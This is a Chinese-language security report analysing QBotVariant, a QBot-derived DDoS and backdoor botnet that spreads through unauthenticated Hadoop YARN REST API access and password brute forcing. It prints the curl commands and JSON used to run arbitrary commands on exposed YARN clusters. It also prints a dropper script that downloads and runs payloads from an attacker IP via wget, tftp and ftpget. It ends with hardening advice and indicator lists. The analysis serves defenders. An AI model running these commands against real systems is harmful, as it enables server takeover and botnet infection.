互聯網給人帶來便捷的同時,其公開大量的資源也一樣給惡意利用者帶了便捷,愈來愈多公開的惡意程序源碼下降了對外攻擊、入侵的難度,使得安全問題越發嚴重。git
阿里雲安全團隊從今年5月份監測到一BOT家族,其樣本改寫自互聯網公開渠道源碼,在互聯網上普遍傳播,形成了極大的危害,雲安全團隊對該類樣本作了分析、聚類、溯源,在此咱們將該類樣本命名爲QBotVariant。github
QBotVariant具備DDoS攻擊、後門、下載器、暴力破解等功能,一旦被入侵便變成肉雞,其主要傳播方式經過Hadoop Yarn資源管理系統REST API未受權訪問漏洞和基於弱口令的暴力破解。相似Mirai該BOT家族針對多個版本的操做系統,不只服務器受到危害,如CCTV監控、家庭路由等IOT設備更容易被攻擊、入侵。Radware公司Pascal Geenens在最新的博客《New DemonBot Discovered》中說起到該類樣本,可是他發現的IP、樣本等信息只是該類家族的其中一個樣本,而咱們從監測到30多個下載服務器能夠看出,QBotVariant多變的IP和二進制樣本變種,使其難以發現和跟蹤。web
在雲平臺上,咱們監測到的QBotVariant活躍度以下,峯值的時候能夠達到上千個,活躍度一直未減。算法
如下咱們將從傳播方式、腳本分析、樣本分析、溯源等多個角度對QBotVariant進行詳細的分析。shell
入侵、傳播方式apache
Hadoop是一款由Apache基金會推出的分佈式系統框架,它經過著名的MapReduce算法進行分佈式處理,Yarn是Hadoop集羣的資源管理系統。Hadoop Yarn資源管理系統配置不當致使能夠未經受權進行訪問,從而被攻擊者惡意利用。攻擊者無需認證便可經過REST API部署任務來執行任意代碼,最終徹底控制服務器。json
其問題來源於對外開啓瞭如下做用的端口安全
yarn.resourcemanager.webapp.address,默認端口8088bash
yarn.resourcemanager.webapp.https.address,默認端口8090服務器
經過對新申請application,以下指令
curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'
再執行以下指令便可完成入侵
curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json
其example.json文件以下
{
"am-container-spec":{
"commands":{
"command":"執行的命令書寫在這裏"
}
},
"application-id":"application_xxxx_xxxxx",
"application-name":"test",
"application-type":"YARN"
}
腳本分析
咱們經過溯源找到了QBotVariant比較原始版本的腳本,在原始版本的腳本中支持wget、tftp、ftpget等腳本的執行,從遠程下載服務器下載腳本並執行
bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;
tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh
如下是阿里雲安全截獲的一個通過改寫的下載腳本,從腳本能夠看出做者爲了可以很好的對IOT設備支持,一方面編譯了不一樣版本的程序,經過ntpd、sshd、openssh等進行假裝;另外一方面每一個命令行都加入了對busybox的支持,這些使得該類腳本很好的支持了IOT設備,爲QBotVaraint的傳播提供了更加便捷的途徑。
在阿里雲捕獲的源碼中有用於編譯多個版本的腳本
QBotVariant支持版本類型及其對應二進制名稱:
支持版本類型 |
對應二進制名稱 |
支持版本類型 |
對應二進制名稱 |
mips |
ntpd |
i586 |
ftp |
mipsel |
sshd |
m68k |
pftp |
sh4 |
openssh |
sparc |
sh |
x86_64 |
bash |
armv4l |
|
armv6l |
tftp |
armv5l |
apache2 |
i686 |
wget |
powerpc-440fp |
telnetd |
powerpc |
cron |
樣本分析
而絕大部分樣本都實現了基本功能,其傳播性、危害性等性質並未改變,部分函數如圖所示
指令分析
咱們對遠控指令進行了分析,其功能以下圖所示
值得注意是StartTheLelz函數,該函數主要用於對隨機生成的IP地址進行爆破,如圖經過getRandomPublicIP函數獲得隨機的IP,將硬編碼的用戶名和密碼存儲在結構體中,而後進行鏈接,其最大爆破次數經過max變量進行控制,max和文件描述表的項數有關但最大不超過4096。
經過數據區能夠看見做者集成了幾種常見的用戶名和密碼用於爆破
若是最終爆破成功,則會在被爆破的主機中執行以下腳本,從而感染主機,再繼續向外傳播
除了集成常見的對外DDoS攻擊方法,QBotVariant還能夠進行對外發送垃圾數據,經過sendJUNK或sendUDP便可完成該動做,如圖用於生成隨機字符串的makeRandomStr函數,經過發送大量垃圾包一樣能夠形成網絡帶寬阻塞。
而QBotVariant爲了最大化入侵價值,一樣提供了遠程shell命令執行功能,其命令以"SH"開頭,經過fdgets、sockprintf將命令執行後的結果返回到遠控端,實現以下
樣本溯源/同源性分析
第一種,信息較簡單,返回大小端、CPU架構、主機用途等信息。
第二種,信息比較全面,帶有操做系統、CPU架構、主機用途、端口、主機IP等信息。
第三種,信息最爲簡單,只返回架構信息。
第四種,返回大小端、架構信息。
第五種,信息比較全面,架構信息、大小端、主機IP、主機用途等信息。
第六種,返回主機IP、類型、版本信息等。
第七種,返回架構、主機IP等信息。
咱們在對樣本進行溯源發現,在pastebin上存在大量該類樣本的源碼、二進制文件等,其存在時間都在數月之久,做者目錄下還包括其餘類型IOT蠕蟲,同時發現多個做者進行了QBot的改寫,如圖是其中一位做者的pastebin和github
QBot在國內彷佛你們認知很少,可是因爲源碼簡單、客戶端小、支持多種架構,從09年活躍至今一直未間斷過,常被應用於遠控、DDoS等客戶端,在其截獲的IP中,絕大部分位於北美和歐洲各地,可是雲平臺檢測到來自國內IP的攻擊源,國內安全人員應該引發重視。
安全加固 ● 雲防火牆
開啓雲防火牆IPS攔截模式和虛擬補丁功能,雲防火牆已經支持對該類漏洞的防護和防止暴力破解功能,用戶即便不及時修復也依然可以進行防護攔截。
● 網絡訪問控制
使用"ECS/VPC安全組"對"受影響服務端口"訪問源IP進行控制,若是自己Hadoop環境僅對內網提供服務,請不要將Hadoop服務端口發佈到互聯網。
● 更新升級
安全建議
● 雲防火牆產品已支持防護針對此漏洞的攻擊,建議用戶能夠購買雲防火牆,開啓檢測。
● 經過安全管家服務,在阿里雲安全專家的指導下進行安全加固及優化工做,避免系統受到漏洞影響。
總結
QBotVariant經過Hadoop Yarn資源管理系統REST API未受權訪問漏洞、弱密碼口令爆破等方式進行入侵,一旦感染此類蠕蟲,不只會佔用主機計算資源消耗帶寬流量,成爲攻擊其餘主機的肉雞,還可能形成數據泄露,數據丟失等後果。
阿里雲安全提醒廣大互聯網用戶,注意第三方應用的配置,防止出現此類未受權漏洞,同時增強用戶名和密碼的安全意識,切實保護自身資產安全。
IOC
部分MD5-文件名
文件名 |
MD5 |
185.244.25.153 |
|
YSDKOP.arm4 |
cc9de0d789efc8636946b4b41f374dfc |
YSDKOP.arm5 |
ac94604edfe7730ccf70d5cd75610d01 |
YSDKOP.arm6 |
dcb51c5abd234a41ee0439183f53fd2d |
YSDKOP.arm7 |
2416380b2fe0c693fd7c26a91b4cb8ee |
YSDKOP.i586 |
2f029723c778f15e8e825976c66e45cd |
YSDKOP.i686 |
49ec48d3afdddb098fa2c857fc63c848 |
YSDKOP.m68k |
7efef839902ca20431d58685d9075710 |
YSDKOP.mips |
eab0810535b45fa1bf0f6243dafb0373 |
YSDKOP.mpsl |
a2c4e09821be6a4594e88376b9c30b5d |
YSDKOP.ppc |
1fc61114722f301065cd9673025ce5e0 |
YSDKOP.sh4 |
38abc827e67ff53d0814979b435e2c40 |
YSDKOP.sparc |
20a38aeeffba9f0f1635c7b4b78f3727 |
YSDKOP.x86 |
8fd97d622e69b69a3331ee5ed08e71b2 |
188.166.125.19 |
|
7e9c49b9e743bcf7b382fa000c27b49d |
|
apache2 |
64394fb25494b0cadf6062a0516f7c1a |
bash |
75e7ce8c110bb132d3897b293d42116a |
cron |
e8dfae1fe29183548503dc0270878e52 |
ftp |
0e765d00f0ee174e79c81c9db812e3a2 |
ntpd |
2cb932dcb5db84dafa8cdc6b4afa52d0 |
openssh |
606a3169f099b0f2423c63b4ed3f9414 |
pftp |
6666ef216ce7434927338137760f4ab0 |
sh |
cc2e82ffbc6d5053efade4849c13099f |
sshd |
00b0a6516986aca277d0148c7ddf38c4 |
tftp |
38b075ee960d08e96b2e77205ec017de |
wget |
58c5e1bc66ac6b364639bce4b3f76c58 |
部分IP
178.128.194.222 |
178.128.7.76 |
103.214.111.122 |
130.185.250.199 |
194.182.80.200 |
138.197.74.100 |
198.199.84.119 |
104.248.165.108 |
178.128.46.254 |
159.65.227.17 |
206.189.196.216 |
80.211.109.66 |
194.48.152.114 |
159.89.114.171 |
178.128.43.104 |
185.244.25.153 |
209.97.159.10 |
46.36.37.121 |
46.29.164.242 |
46.17.47.250 |
158.69.60.239 |
195.181.223.138 |
80.211.39.186 |
188.166.125.19 |
104.248.112.122 |
212.237.26.71 |
178.128.239.252 |
104.248.212.127 |
104.248.63.168 |
部分URL及出現時間
URL |
時間 |
http://138.197.74.100/bins.sh |
20180904 |
http://80.211.39.186/bins.sh |
20180904 |
http://178.128.239.252/bins.sh |
20180908 |
http://158.69.60.239/bins/boti586final |
20180908 |
http://158.69.60.239/bins/botx86_64final |
20180908 |
http://158.69.60.239/bins/boti686final |
20180908 |
http://158.69.60.239/bins.sh |
20180908 |
http://178.128.239.252/bins.sh |
20180909 |
http://130.185.250.199/bins.sh |
20180909 |
http://46.17.47.250/xm2bash |
20180913 |
http://104.248.112.122/Kuso69/Akiru.x86 |
20180918 |
http://194.182.80.200/bins.sh |
20180919 |
http://104.248.112.122/Kuso69/Akiru.x86 |
20180919 |
http://209.97.159.10/bins.sh |
20181003 |
http://46.17.47.250/xm2wget |
20181005 |
http://185.244.25.153/bins.sh |
20181009 |
http://159.65.227.17/bins.sh |
20181009 |
http://178.128.7.76/bins.sh |
20181010 |
http://185.244.25.153/bins.sh |
20181010 |
http://104.248.212.127/bins.sh |
20181010 |
http://159.65.227.17/bins.sh |
20181010 |
http://206.189.196.216/bins.sh |
20181010 |
http://188.166.125.19/bins.sh |
20181010 |
http://188.166.125.19/bins.sh |
20181011 |
http://185.244.25.153/bins.sh |
20181011 |
http://178.128.7.76/bins.sh |
20181011 |
http://104.248.212.127/bins.sh |
20181011 |
http://80.211.109.66/bins.sh |
20181012 |
http://185.244.25.153/bins.sh |
20181012 |
http://195.181.223.138/bins.sh |
20181012 |
http://159.89.114.171/bins.sh |
20181012 |
http://178.128.7.76/bins.sh |
20181012 |
http://104.248.212.127/bins.sh |
20181012 |
http://185.244.25.153/bins.sh |
20181015 |
http://104.248.165.108/bins.sh |
20181018 |
http://198.199.84.119/bins.sh |
20181018 |
http://103.214.111.122/bins.sh |
20181019 |
http://178.128.46.254/bins.sh |
20181019 |
http://178.128.43.104/bins.sh |
20181019 |
http://104.248.63.168/vvglma |
20181021 |
http://178.128.194.222/bins.sh |
20181026 |
http://178.128.194.222/bins.sh |
20181027 |
http://178.128.194.222/bins.sh |
20181028 |
http://46.29.164.242/bins.sh |
20181031 |
http://194.48.152.114/bins.sh |
20181101 |
http://46.36.37.121/weed.sh |
20181103 |
原文連接 本文爲雲棲社區原創內容,未經容許不得轉載。